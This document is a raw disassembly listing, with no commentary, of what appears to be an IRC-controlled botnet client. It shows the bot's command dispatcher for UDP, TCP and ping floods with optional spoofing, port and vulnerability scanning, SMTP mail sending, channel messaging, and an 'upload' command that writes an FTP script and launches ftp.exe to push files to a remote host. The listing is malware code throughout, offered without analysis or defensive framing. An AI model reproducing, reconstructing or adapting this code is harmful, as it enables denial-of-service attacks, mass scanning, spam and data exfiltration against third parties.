[ebp+10h] push offset aD1 ; "d1" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407BDF push dword ptr [ebp+10h] push offset aRedirect ; "redirect" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407AE5 push dword ptr [ebp+10h] push offset aRd ; "rd" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407AE5 push dword ptr [ebp+10h] push offset aScan ; "scan" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4079F2 push dword ptr [ebp+10h] push offset aSc ; "sc" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4079F2 push dword ptr [ebp+10h] push offset aC_privmsg ; "c_privmsg" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407915 push dword ptr [ebp+10h] push offset aC_pm ; "c_pm" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407915 push dword ptr [ebp+10h] push offset aC_action ; "c_action" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4077FB push dword ptr [ebp+10h] push offset aC_a ; "c_a" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4077FB mov eax, [ebp+esi-80h] cmp eax, ebx mov [ebp+20h], eax jz loc_401D6C push dword ptr [ebp+10h] push offset aPortscan ; "portscan" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4076F5 push dword ptr [ebp+10h] push offset aPsc ; "psc" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4076F5 push dword ptr [ebp+10h] push offset aAdvscan ; "advscan" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407222 push dword ptr [ebp+10h] push offset aVv ; "vv" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407222 push dword ptr [ebp+10h] push offset aUdpflood ; "udpflood" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4070DC push dword ptr [ebp+10h] push offset aPu1 ; "pu1" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4070DC push dword ptr [ebp+10h] push offset aU ; "u" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4070DC push dword ptr [ebp+10h] push offset aNetsend ; "netsend" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_406FCE push dword ptr [ebp+10h] push offset aNs ; "ns" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_406FCE push dword ptr [ebp+10h] push offset aPingflood ; "pingflood" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_406EA7 push dword ptr [ebp+10h] push offset aPing_0 ; "ping" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_406EA7 push dword ptr [ebp+10h] push offset aP ; "p" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_406EA7 push dword ptr [ebp+10h] push offset aTcpflood ; "tcpflood" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_406CF5 push dword ptr [ebp+10h] push offset aUsa ; "usa" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_406CF5 push dword ptr [ebp+10h] push offset aEmail ; "email" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_406C9D push dword ptr [ebp+18h] lea eax, [ebp-47ECh] push eax call sub_41C550 push edi call sub_41BE29 push dword ptr [ebp+8] mov [ebp+18h], eax lea eax, [ebp-4188h] push eax call sub_41C550 push dword ptr [ebp+20h] lea eax, [ebp-4588h] push eax call sub_41C550 push offset asc_43368C ; " " push offset dword_4321D0 push dword ptr [ebp+esi-7Ch] call sub_41869A push eax lea eax, [ebp-4288h] push eax call sub_41C550 add esp, 30h lea eax, [ebp-5588h] push eax push 101h call dword_4D1160 ; WSAStartup lea eax, [ebp-47ECh] push eax call dword_4D1274 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4D1270 ; socket push dword ptr [ebp+18h] mov esi, eax mov word ptr [ebp-31Ch], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-318h], eax call dword_4D11F0 ; ntohs mov [ebp-31Ah], ax lea eax, [ebp-4288h] push eax lea eax, [ebp-4188h] push eax lea eax, [ebp-4288h] push eax lea eax, [ebp-4588h] push eax lea eax, [ebp-4188h] push eax lea eax, [ebp-5988h] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41BF36 add esp, 1Ch lea eax, [ebp-31Ch] push 10h push eax push esi call dword_4D1198 ; connect mov edi, 100h push ebx lea eax, [ebp-4088h] push edi push eax push esi call dword_4D1208 ; recv lea eax, [ebp-4088h] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp-5988h] push eax push esi call dword_4D1240 ; send push ebx lea eax, [ebp-4088h] push edi push eax push esi call dword_4D1208 ; recv push esi call dword_4D1288 ; closesocket call dword_4D1148 ; WSACleanup lea eax, [ebp-4588h] push eax push offset unk_431824 loc_406C56: ; CODE XREF: .nsp0:00404979j ; .nsp0:004080C6j ... lea eax, [ebp-2C0h] push eax call sub_41BF36 loc_406C62: ; CODE XREF: .nsp0:00403F53j add esp, 0Ch loc_406C65: ; CODE XREF: .nsp0:00405F8Bj ; .nsp0:00405FE3j ... cmp [ebp-8], ebx jnz short loc_406C86 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_406C86: ; CODE XREF: .nsp0:0040447Fj ; .nsp0:004044D2j ... mov esi, [ebp+2Ch] loc_406C89: ; CODE XREF: .nsp0:0040833Fj ; .nsp0:0040931Fj ... lea eax, [ebp-2C0h] push eax call sub_4157A6 pop ecx mov eax, esi jmp loc_401D6F ; --------------------------------------------------------------------------- loc_406C9D: ; CODE XREF: .nsp0:00406B00j push dword ptr [ebp+10h] push offset aHttpcon ; "httpcon" call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_406CC7 push dword ptr [ebp+10h] push offset aHcon ; "hcon" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_407272 loc_406CC7: ; CODE XREF: .nsp0:00406CAEj push dword ptr [ebp+esi-7Ch] push dword ptr [ebp+20h] push dword ptr [ebp+8] push edi call sub_41BE29 pop ecx push eax push dword ptr [ebp+18h] push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_41088B jmp loc_4097B5 ; --------------------------------------------------------------------------- loc_406CF5: ; CODE XREF: .nsp0:00406AD2j ; .nsp0:00406AE9j push dword ptr [ebp+18h] mov esi, 80h lea eax, [ebp-1354h] push esi push eax call sub_41C030 lea eax, [ebp-1354h] push eax push offset aSy1 ; "sy1" call sub_41C710 add esp, 14h test eax, eax jz short loc_406D5A lea eax, [ebp-1354h] push eax push offset aAck ; "ack" call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_406D5A lea eax, [ebp-1354h] push eax push offset aRandom_0 ; "random" call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_406D5A push offset unk_4317E4 jmp loc_406E94 ; --------------------------------------------------------------------------- loc_406D5A: ; CODE XREF: .nsp0:00406D20j ; .nsp0:00406D37j ... push dword ptr [ebp+20h] call sub_41BE29 cmp eax, ebx pop ecx mov [ebp-124Ch], eax jle loc_406E8F push dword ptr [ebp+18h] lea eax, [ebp-1354h] push esi push eax call sub_41C030 push edi lea eax, [ebp-13D4h] push esi push eax call sub_41C030 push dword ptr [ebp+8] call sub_41BE29 mov [ebp-1250h], eax xor eax, eax cmp [ebp-8EEh], bl push dword ptr [ebp-88h] setnz al mov [ebp-1248h], eax mov eax, [ebp+0Ch] mov [ebp-13D8h], eax lea eax, [ebp-12D4h] push esi push eax call sub_41C030 mov eax, [ebp-4] add esp, 28h cmp [ebp-1248h], ebx mov [ebp-1244h], eax mov eax, [ebp-8] mov [ebp-1240h], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406DF1 mov eax, offset aNormal ; "Normal" loc_406DF1: ; CODE XREF: .nsp0:00406DEAj push dword ptr [ebp+20h] push dword ptr [ebp+8] push edi push dword ptr [ebp+18h] push eax push offset unk_4317A0 lea eax, [ebp-2C0h] push 200h push eax call sub_41C030 push ebx lea eax, [ebp-2C0h] push 14h push eax call sub_40B00E add esp, 2Ch mov [ebp-1254h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-13D8h] push ebx push eax push offset dword_41442C push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-1254h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_406E6F loc_406E59: ; CODE XREF: .nsp0:00406E6Dj cmp [ebp-123Ch], ebx jnz loc_40820E push 32h call dword_427064 ; Sleep jmp short loc_406E59 ; --------------------------------------------------------------------------- loc_406E6F: ; CODE XREF: .nsp0:00406E57j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_431768 loc_406E7B: ; CODE XREF: .nsp0:00403C1Dj ; .nsp0:004049CEj ... lea eax, [ebp-2C0h] push eax call sub_41BF36 loc_406E87: ; CODE XREF: .nsp0:00406FC9j add esp, 0Ch jmp loc_40820E ; --------------------------------------------------------------------------- loc_406E8F: ; CODE XREF: .nsp0:00406D6Bj push offset unk_431730 loc_406E94: ; CODE XREF: .nsp0:00403AE6j ; .nsp0:00403AFCj ... lea eax, [ebp-2C0h] push eax call sub_41BF36 pop ecx pop ecx jmp loc_40820E ; --------------------------------------------------------------------------- loc_406EA7: ; CODE XREF: .nsp0:00406A8Dj ; .nsp0:00406AA4j ... cmp dword_4D12E0, ebx jnz loc_406FB3 mov eax, [ebp-8] push 7Fh push dword ptr [ebp+18h] mov [ebp-0FF4h], eax mov eax, [ebp-4] mov [ebp-0FF8h], eax lea eax, [ebp-108Ch] push eax call sub_41BCA0 push edi call sub_41BE29 push dword ptr [ebp+8] mov [ebp-100Ch], eax call sub_41BE29 push dword ptr [ebp+20h] mov [ebp-1008h], eax call sub_41BE29 push 7Fh mov [ebp-1004h], eax push dword ptr [ebp-88h] lea eax, [ebp-110Ch] push eax call sub_41BCA0 push dword ptr [ebp-1004h] mov eax, [ebp+0Ch] mov [ebp-1110h], eax lea eax, [ebp-108Ch] push dword ptr [ebp-1008h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp-100Ch] push offset unk_4316E8 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 16h push eax call sub_40B00E add esp, 48h mov [ebp-0FFCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1110h] push ebx push eax push offset byte_413883 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-0FFCh] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_406FA2 loc_406F8C: ; CODE XREF: .nsp0:00406FA0j cmp [ebp-0FF0h], ebx jnz loc_40820E push 32h call dword_427064 ; Sleep jmp short loc_406F8C ; --------------------------------------------------------------------------- loc_406FA2: ; CODE XREF: .nsp0:00406F8Aj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4316B0 jmp loc_406E7B ; --------------------------------------------------------------------------- loc_406FB3: ; CODE XREF: .nsp0:00406EADj push 1FFh lea eax, [ebp-2C0h] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BCA0 jmp loc_406E87 ; --------------------------------------------------------------------------- loc_406FCE: ; CODE XREF: .nsp0:00406A5Fj ; .nsp0:00406A76j push edi lea eax, [ebp-2C0h] push dword ptr [ebp+18h] push dword ptr [ebp+8] push offset unk_43165C push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 push dword ptr [ebp+8] call sub_41B890 mov edx, eax push edi mov edi, edx call sub_41B890 push dword ptr [ebp+18h] add edi, eax call sub_41B890 push dword ptr [ebp+10h] add edi, eax call sub_41B890 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+edi+7] push eax call sub_41BFB0 add esp, 40h mov [ebp+14h], eax push dword ptr [ebp+8] call sub_41BE29 mov edi, [ebp+28h] cmp eax, ebx pop ecx mov [ebp+1Ch], eax mov [ebp+24h], ebx jle short loc_4070C8 loc_407051: ; CODE XREF: .nsp0:00407075j push dword ptr [ebp+14h] push edi push dword ptr [ebp+18h] call sub_418E3D add esp, 0Ch cmp eax, 1 mov [ebp+28h], eax jz short loc_407079 cmp eax, ebx jnz short loc_407098 inc dword ptr [ebp+24h] mov eax, [ebp+24h] cmp eax, [ebp+1Ch] jl short loc_407051 jmp short loc_4070D1 ; --------------------------------------------------------------------------- loc_407079: ; CODE XREF: .nsp0:00407066j push ebx push dword ptr [ebp-4] push offset unk_431624 loc_407082: ; CODE XREF: .nsp0:004070DAj push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h jmp loc_407272 ; --------------------------------------------------------------------------- loc_407098: ; CODE XREF: .nsp0:0040706Aj push dword ptr [ebp+28h] lea eax, [ebp-2C0h] push offset unk_4315F0 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 20h loc_4070C8: ; CODE XREF: .nsp0:0040704Fj cmp [ebp+28h], ebx jnz loc_407272 loc_4070D1: ; CODE XREF: .nsp0:00407077j push ebx push dword ptr [ebp-4] push offset unk_4315BC jmp short loc_407082 ; --------------------------------------------------------------------------- loc_4070DC: ; CODE XREF: .nsp0:00406A1Aj ; .nsp0:00406A31j ... mov eax, [ebp-8] push 7Fh push dword ptr [ebp+18h] mov [ebp-0C64h], eax mov eax, [ebp-4] mov [ebp-0C68h], eax lea eax, [ebp-0CFCh] push eax call sub_41BCA0 push edi call sub_41BE29 push dword ptr [ebp+8] mov [ebp-0C7Ch], eax call sub_41BE29 push dword ptr [ebp+20h] mov [ebp-0C78h], eax call sub_41BE29 mov esi, [ebp+esi-7Ch] add esp, 18h cmp esi, ebx mov [ebp-0C74h], eax jz short loc_407141 push esi call sub_41BE29 pop ecx mov [ebp-0C70h], eax jmp short loc_407147 ; --------------------------------------------------------------------------- loc_407141: ; CODE XREF: .nsp0:00407130j mov [ebp-0C70h], ebx loc_407147: ; CODE XREF: .nsp0:0040713Fj push 7Fh lea eax, [ebp-0D7Ch] push dword ptr [ebp-88h] push eax call sub_41BCA0 push dword ptr [ebp-0C74h] mov esi, [ebp+0Ch] lea eax, [ebp-0CFCh] mov [ebp-0D80h], esi push dword ptr [ebp-0C78h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp-0C7Ch] push offset unk_431574 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 17h push eax call sub_40B00E add esp, 30h mov [ebp-0C6Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0D80h] push ebx push eax push offset byte_413A0F push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-0C6Ch] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_4071E7 loc_4071D5: ; CODE XREF: .nsp0:004071E5j cmp [ebp-0C60h], ebx jnz short loc_407202 push 32h call dword_427064 ; Sleep jmp short loc_4071D5 ; --------------------------------------------------------------------------- loc_4071E7: ; CODE XREF: .nsp0:004071D3j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43153C loc_4071F3: ; CODE XREF: .nsp0:00406885j ; .nsp0:00407D15j ... lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 0Ch loc_407202: ; CODE XREF: .nsp0:00406869j ; .nsp0:004071DBj ... cmp [ebp-8], ebx jnz loc_40833C push ebx push dword ptr [ebp-4] loc_40720F: ; CODE XREF: .nsp0:00403EE1j lea eax, [ebp-2C0h] push eax push dword ptr [ebp-88h] push esi jmp loc_40822B ; --------------------------------------------------------------------------- loc_407222: ; CODE XREF: .nsp0:004069ECj ; .nsp0:00406A03j push 0Bh call sub_40B256 push edi mov [ebp+24h], eax call sub_41BE29 add eax, [ebp+24h] pop ecx pop ecx cmp eax, 1F4h jle loc_4073EA push dword ptr [ebp+24h] lea eax, [ebp-2C0h] push offset unk_4314FC push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 20h loc_407272: ; CODE XREF: .nsp0:00406CC1j ; .nsp0:00407093j ... mov esi, [ebp+esi-7Ch] cmp esi, ebx jz loc_401D6C push dword ptr [ebp+10h] push offset aUpload ; "upload" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_4097B8 push 4 push esi call sub_416F11 pop ecx test eax, eax pop ecx jnz short loc_4072BD push esi push offset unk_4314DC loc_4072A9: ; CODE XREF: .nsp0:00409570j lea eax, [ebp-2C0h] push eax call sub_41BF36 add esp, 0Ch jmp loc_409588 ; --------------------------------------------------------------------------- loc_4072BD: ; CODE XREF: .nsp0:004072A1j call dword_4270A8 ; GetTickCount push eax call sub_41BF88 pop ecx call sub_41BF92 push 9 cdq pop ecx idiv ecx push edx call sub_41BF92 push 63h cdq pop ecx idiv ecx push edx call sub_41BF92 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp-51F8h] push edx push eax lea eax, [ebp-2E58h] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41BF36 lea eax, [ebp-2E58h] push offset aAb ; "ab" push eax call sub_41BBB8 add esp, 20h cmp eax, ebx mov [ebp+2Ch], eax jz loc_401D6C push esi push dword ptr [ebp+20h] push dword ptr [ebp+8] push edi push dword ptr [ebp+18h] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C49F push dword ptr [ebp+2Ch] call sub_41B90B lea eax, [ebp-2E58h] push eax lea eax, [ebp-4CF0h] push offset aSS_3 ; "-s:%s" push eax call sub_41BF36 add esp, 2Ch lea eax, [ebp-4CF0h] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4D115C ; ShellExecuteA push dword ptr [ebp+18h] test eax, eax push esi jz short loc_407389 push offset unk_43146C jmp short loc_40738E ; --------------------------------------------------------------------------- loc_407389: ; CODE XREF: .nsp0:00407380j push offset unk_43143C loc_40738E: ; CODE XREF: .nsp0:00407387j call sub_41BF36 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_4073B7 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h loc_4073B7: ; CODE XREF: .nsp0:00407399j lea eax, [ebp-2C0h] push eax call sub_4157A6 loc_4073C3: ; CODE XREF: .nsp0:004073E8j lea eax, [ebp-2E58h] push 4 push eax call sub_416F11 add esp, 0Ch test eax, eax jz loc_401D6C lea eax, [ebp-2E58h] push eax call sub_41C475 jmp short loc_4073C3 ; --------------------------------------------------------------------------- loc_4073EA: ; CODE XREF: .nsp0:0040723Cj push dword ptr [ebp+18h] call sub_41BE29 push edi mov [ebp-370h], eax call sub_41BE29 push dword ptr [ebp+8] mov [ebp-358h], eax call sub_41BE29 add esp, 0Ch cmp eax, 5 mov [ebp-36Ch], eax jnb short loc_407423 push 5 pop eax mov [ebp-36Ch], eax loc_407423: ; CODE XREF: .nsp0:00407418j push 3Ch pop ecx cmp eax, ecx jbe short loc_407430 mov [ebp-36Ch], ecx loc_407430: ; CODE XREF: .nsp0:00407428j push dword ptr [ebp+20h] call sub_41BE29 mov [ebp-368h], eax mov eax, 320h cmp [ebp-368h], eax pop ecx jbe short loc_407452 mov [ebp-368h], eax loc_407452: ; CODE XREF: .nsp0:0040744Aj or dword ptr [ebp-354h], 0FFFFFFFFh cmp dword_438048, ebx mov [ebp+24h], ebx jz short loc_4074A1 mov edi, offset dword_438048 loc_407469: ; CODE XREF: .nsp0:00407483j push dword ptr [ebp+18h] lea eax, [edi-28h] push eax call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_407487 inc dword ptr [ebp+24h] add edi, 40h cmp [edi], ebx jnz short loc_407469 jmp short loc_4074A1 ; --------------------------------------------------------------------------- loc_407487: ; CODE XREF: .nsp0:00407479j mov eax, [ebp+24h] mov ecx, eax mov [ebp-354h], eax shl ecx, 6 mov ecx, dword_438048[ecx] mov [ebp-370h], ecx loc_4074A1: ; CODE XREF: .nsp0:00407462j ; .nsp0:00407485j cmp [ebp-370h], ebx jnz short loc_4074B3 push offset unk_431408 jmp loc_406E94 ; --------------------------------------------------------------------------- loc_4074B3: ; CODE XREF: .nsp0:004074A7j mov edi, [ebp+esi-7Ch] cmp edi, ebx mov [ebp+8], edi jz short loc_4074EE cmp byte ptr [edi], 23h jz short loc_4074EE push edi lea eax, [ebp-484h] push 10h push eax call sub_41C030 push 78h push edi call sub_41C650 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp-344h], eax jmp loc_4075C8 ; --------------------------------------------------------------------------- loc_4074EE: ; CODE XREF: .nsp0:004074BCj ; .nsp0:004074C1j cmp [ebp-8FFh], bl jnz short loc_407510 cmp [ebp-8FEh], bl jnz short loc_407510 cmp [ebp-8EEh], bl jnz short loc_407510 push offset unk_4313D4 jmp loc_406E94 ; --------------------------------------------------------------------------- loc_407510: ; CODE XREF: .nsp0:004074F4j ; .nsp0:004074FCj ... push 10h lea eax, [ebp-2D8h] pop edi push eax lea eax, [ebp-2F8h] push eax mov [ebp-2D8h], edi push dword ptr [ebp+0Ch] call dword_4D1194 ; getsockname mov al, [ebp-8FFh] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-2F4h], eax push dword ptr [ebp-2F4h] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp-484h] push eax call sub_41BCA0 add esp, 0Ch cmp [ebp-8EEh], bl jz short loc_4075C2 xor eax, eax cmp [ebp-8FFh], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-484h] push eax call sub_41C4E0 pop ecx cmp edi, ebx pop ecx mov [ebp+2Fh], bl jle short loc_4075B6 loc_407594: ; CODE XREF: .nsp0:004075B4j cmp eax, ebx jz short loc_4075B6 mov byte ptr [eax], 78h lea eax, [ebp-484h] push 30h push eax call sub_41C4E0 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_407594 loc_4075B6: ; CODE XREF: .nsp0:00407592j ; .nsp0:00407596j mov dword ptr [ebp-344h], 1 jmp short loc_4075C8 ; --------------------------------------------------------------------------- loc_4075C2: ; CODE XREF: .nsp0:0040756Cj mov [ebp-344h], ebx loc_4075C8: ; CODE XREF: .nsp0:004074E9j ; .nsp0:004075C0j mov eax, [ebp+0Ch] push dword ptr [ebp-88h] mov [ebp-374h], eax mov eax, [ebp-4] mov [ebp-34Ch], eax mov eax, [ebp-8] mov [ebp-348h], eax mov edi, 80h lea eax, [ebp-474h] push edi push eax call sub_41C030 mov esi, [ebp+esi-78h] add esp, 0Ch cmp esi, ebx jz short loc_407619 loc_407606: ; CODE XREF: .nsp0:0040763Cj push esi loc_407607: ; CODE XREF: .nsp0:00407626j lea eax, [ebp-3F4h] push edi push eax call sub_41C030 add esp, 0Ch jmp short loc_407644 ; --------------------------------------------------------------------------- loc_407619: ; CODE XREF: .nsp0:00407604j mov eax, [ebp+8] cmp eax, ebx jz short loc_407628 cmp byte ptr [eax], 23h jnz short loc_407628 push eax jmp short loc_407607 ; --------------------------------------------------------------------------- loc_407628: ; CODE XREF: .nsp0:0040761Ej ; .nsp0:00407623j mov esi, offset aO1_0 ; "#o1" push offset byte_443398 push esi call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_407606 mov [ebp-3F4h], bl loc_407644: ; CODE XREF: .nsp0:00407617j cmp [ebp-344h], ebx mov eax, offset aRandom ; "Random" jnz short loc_407656 mov eax, offset aSequential ; "Sequential" loc_407656: ; CODE XREF: .nsp0:0040764Fj push dword ptr [ebp-358h] lea ecx, [ebp-484h] push dword ptr [ebp-368h] push dword ptr [ebp-36Ch] push dword ptr [ebp-370h] push ecx push eax lea eax, [ebp-2C0h] push offset unk_43136C push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 0Bh push eax call sub_40B00E add esp, 2Ch mov [ebp-364h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-484h] push ebx push eax push (offset loc_40C247+1) push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-364h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_4076E4 loc_4076CE: ; CODE XREF: .nsp0:004076E2j cmp [ebp-340h], ebx jnz loc_40820E push 32h call dword_427064 ; Sleep jmp short loc_4076CE ; --------------------------------------------------------------------------- loc_4076E4: ; CODE XREF: .nsp0:004076CCj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_431334 jmp loc_406E7B ; --------------------------------------------------------------------------- loc_4076F5: ; CODE XREF: .nsp0:004069BEj ; .nsp0:004069D5j push dword ptr [ebp+18h] call sub_40AA54 push edi mov [ebp-4E0h], eax call sub_41BE29 push dword ptr [ebp+8] mov [ebp-4F0h], eax call sub_41BE29 push dword ptr [ebp+20h] mov [ebp-4ECh], eax call sub_41BE29 mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-88h] mov [ebp-4E8h], eax lea eax, [ebp-570h] mov [ebp-574h], esi push eax call sub_41BCA0 add esp, 1Ch mov edi, [ebp-4] mov eax, [ebp-8] mov [ebp-4D8h], edi push dword ptr [ebp-4ECh] mov [ebp-4D4h], eax push dword ptr [ebp-4F0h] push dword ptr [ebp-4E8h] push dword ptr [ebp-4E0h] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp-2C0h] push offset unk_4312E4 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 0Bh push eax call sub_40B00E add esp, 24h mov [ebp-4E4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-574h] push ebx push eax push offset sub_40C665 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-4E4h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_4077EA loc_4077D4: ; CODE XREF: .nsp0:004077E8j cmp [ebp-4D0h], ebx jnz loc_403ED6 push 32h call dword_427064 ; Sleep jmp short loc_4077D4 ; --------------------------------------------------------------------------- loc_4077EA: ; CODE XREF: .nsp0:004077D2j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4312A8 jmp loc_403EC7 ; --------------------------------------------------------------------------- loc_4077FB: ; CODE XREF: .nsp0:00406981j ; .nsp0:00406998j push dword ptr [ebp+18h] call sub_41BE29 imul eax, 234h pop ecx cmp byte_444138[eax], bl jz loc_4097B8 cmp [ebp-0Ch], ebx jz loc_4097B8 push edi call sub_41B890 push dword ptr [ebp+18h] mov esi, eax call sub_41B890 push dword ptr [ebp+10h] add esi, eax call sub_41B890 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_41BFB0 mov esi, eax lea eax, [ebp-2C0h] push esi push offset dword_43129C push eax call sub_41BF36 add esp, 20h cmp esi, ebx jz loc_4097B8 push dword ptr [ebp+18h] call sub_41BE29 test eax, eax pop ecx jle loc_4097B8 push dword ptr [ebp+18h] call sub_41BE29 cmp eax, 400h pop ecx jge loc_4097B8 push ebx lea eax, [ebp-2C0h] push ebx push eax push edi push dword ptr [ebp+18h] call sub_41BE29 imul eax, 234h pop ecx push dword_44412C[eax] call sub_4099D2 push dword ptr [ebp+18h] call sub_41BE29 imul eax, 234h add esp, 18h cmp byte ptr dword_443F20[eax], 73h jnz loc_4097B8 push esi push dword ptr [ebp+18h] call sub_41BE29 imul eax, 234h pop ecx add eax, offset byte_444138 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" loc_4078EB: ; CODE XREF: .nsp0:004079EDj lea eax, [ebp-2C0h] push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 jmp loc_4040A4 ; --------------------------------------------------------------------------- loc_407915: ; CODE XREF: .nsp0:00406953j ; .nsp0:0040696Aj push dword ptr [ebp+18h] call sub_41BE29 imul eax, 234h pop ecx cmp byte_444138[eax], bl jz loc_4097B8 cmp [ebp-0Ch], ebx jz loc_4097B8 push edi call sub_41B890 push dword ptr [ebp+18h] mov esi, eax call sub_41B890 push dword ptr [ebp+10h] add esi, eax call sub_41B890 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_41BFB0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_4097B8 push dword ptr [ebp+18h] call sub_41BE29 test eax, eax pop ecx jle loc_4097B8 push dword ptr [ebp+18h] call sub_41BE29 cmp eax, 400h pop ecx jge loc_4097B8 push ebx push ebx push esi push edi push dword ptr [ebp+18h] call sub_41BE29 imul eax, 234h pop ecx push dword_44412C[eax] call sub_4099D2 push dword ptr [ebp+18h] call sub_41BE29 imul eax, 234h add esp, 18h cmp byte ptr dword_443F20[eax], 73h jnz loc_4097B8 push esi push dword ptr [ebp+18h] call sub_41BE29 imul eax, 234h pop ecx add eax, offset byte_444138 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" jmp loc_4078EB ; --------------------------------------------------------------------------- loc_4079F2: ; CODE XREF: .nsp0:00406925j ; .nsp0:0040693Cj push dword ptr [ebp+18h] call dword_4D1230 ; inet_addr push edi mov [ebp-680h], eax call sub_41BE29 push dword ptr [ebp+8] mov [ebp-690h], eax call sub_41BE29 mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-88h] mov [ebp-688h], eax lea eax, [ebp-710h] mov [ebp-714h], esi push eax call sub_41BCA0 add esp, 14h mov edi, [ebp-4] mov eax, [ebp-8] mov [ebp-678h], edi push dword ptr [ebp-688h] mov [ebp-674h], eax push dword ptr [ebp-690h] push dword ptr [ebp-680h] call dword_4D127C 